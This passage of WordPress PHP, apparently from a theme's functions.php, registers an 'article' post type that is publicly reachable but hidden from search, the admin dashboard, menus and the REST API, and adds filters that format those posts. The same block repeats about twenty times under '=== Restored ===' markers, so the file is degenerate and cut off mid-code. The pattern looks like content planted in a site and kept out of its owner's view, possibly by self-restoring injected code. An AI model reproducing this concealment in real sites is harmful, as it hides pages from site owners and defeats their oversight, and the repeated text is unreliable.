    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
